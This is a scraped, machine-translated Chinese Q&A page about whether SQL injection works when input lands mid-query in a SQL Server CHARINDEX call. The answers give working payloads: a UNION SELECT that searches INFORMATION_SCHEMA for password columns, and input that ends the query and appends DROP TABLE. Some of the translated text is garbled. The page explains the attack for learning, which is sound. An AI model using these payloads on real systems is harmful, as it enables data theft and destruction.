当前位置: 首页 > 知识库问答 >
问题:

SQL注入mid查询

慕阳文
2023-03-14

我想提高对可能存在的SQL注入攻击的了解。我知道参数化完全避免了SQL注入风险,因此应该在任何地方应用。然而,当有人问我如何利用它时,我想得到一个答案。

我知道基本的SQL注入攻击是如何工作的。例如,一个网站有一个页面<代码>网站。com/users/{id}其中id是用户的主键。如果我们完全信任输入,只需将id参数传递给正在执行的查询,这可能会产生可怕的后果。如果是网站。com/users/1查询变为从[用户]中选择*,其中[Id]=1。然而,在网站的情况下。com/users/1;DROP TABLE User查询变为从[用户]中选择*,其中[Id]=1;删除表用户,导致糟糕的结果。

但是,我读到的几乎所有SQL注入攻击都依赖于注入之前出现的WHERE子句。几乎总是,注入以某种形式工作;注入语句--。

我的问题是,如果给定如下查询,是否也可以执行SQL注入攻击?或者从更广泛的意义上说:是否必须编译整个语句才能进行SQL注入攻击,或者语句中的任何错误都会导致攻击失败?如果每个DBMS的答案不同,请指定DBMS。

在下面的查询中,注入应该发生在CHARINDEX('input',[Name])中

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

我得到的最远的结果是下面的查询,但它返回的错误,缺少结束注释标记“*/”,似乎完全阻止了任何攻击。

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

共有2个答案

锺离昂然
2023-03-14

SQL注入通常发生在涉及某种字符串连接/插入操作的情况下。它不必是WHERE子句。此外,一般来说,攻击者对删除表不感兴趣,他需要信息。如果将输入替换为:

', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --

假设选择的结果以某种方式显示并且还显示了错误消息,攻击者需要几分钟的时间来确定他应该在查询实际返回之前添加的、NULL的数量和位置他想在下一阶段探测的表和列的名称。

景鹏云
2023-03-14

生成的SQL必须被特定的DBMS接受才能进行注入,这通常意味着它需要SQL有效,但通常有一些方法可以制作输入以使其有效,而不管所讨论的SQL如何。

如果行注释不够,可以添加额外的语句;如果不允许使用多个语句,则可以使用联合;等等

确切的详细信息各不相同,但如果对查询有足够的了解(例如,通过向用户泄漏错误详细信息)或侥幸猜测,通常可以制作一些对攻击者有利的东西。

在您的示例中,考虑此输入,它只是重复现有查询的一部分:

nonsense', [Name]) > 0
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense

这将导致以下SQL:

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]
 类似资料:
  • MID() 函数 MID() 函数用于从文本字段中提取字符。 SQL MID() 语法SELECT MID(column_name,start[,length]) FROM table_name; 参数 描述 column_name 必需。要提取字符的字段。 start 必需。规定开始位置(起始值是 1)。 length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 演示数据

  • 问题内容: 考虑一下我有这行代码 恕我直言,这很容易受到SQL注入的攻击。 因此,我想通过Get / URL发送一个“ var”参数来证明它是可以尝试的,该参数将注入查询,并带有潜在的恶意代码。 我实际上尝试过: 我尝试在执行之前打印出SQL字符串查询,它实际上是2条SQL有效语句。 第一个问题,但实际上似乎mysqli-> query不会一次执行2条语句。是不是 第二个问题,我看到注入查询的一种

  • Mid

    Mid函数从给定的输入字符串返回指定数量的字符。 语法 (Syntax) Mid(String,start[,Length]) 参数描述 (Parameter Description) String - 必需参数。 输入从中返回指定字符数的字符串。 Start - 必需参数。 一个Integer,指定字符串的起始位置。 Length - 可选参数。 一个Integer,指定要返回的字符数。 添加

  • 主要内容:SQL 注入的危害,SQL 注入示例,防止 SQL 注入SQL 注入是一种代码渗透技术,是最常用的网络黑客技术之一。SQL 注入非常危险,可能会导致数据库中的数据被暴露,甚至被损坏。 通过网页输入框(<input> 标签、<textarea> 标签等)将恶意 SQL 代码提交给服务器是最常见的 SQL 注入方式之一。 当网站要求输入诸如用户名(用户ID)之类的内容时,通常会发生 SQL 注入。黑客会输入一条 SQL 语句,而不是用户名/用户ID,当页面

  • 有使用 SQL 语句操作数据库的经验朋友,应该都知道使用 SQL 过程中有一个安全问题叫 SQL 注入。所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。 为了防止 SQL 注入,在生产环境中使用 OpenResty 的时候就要注意添加防范代码。 延续之前的 ngx_postgres 调用代码的使用,

  • 注意我使用Mybatis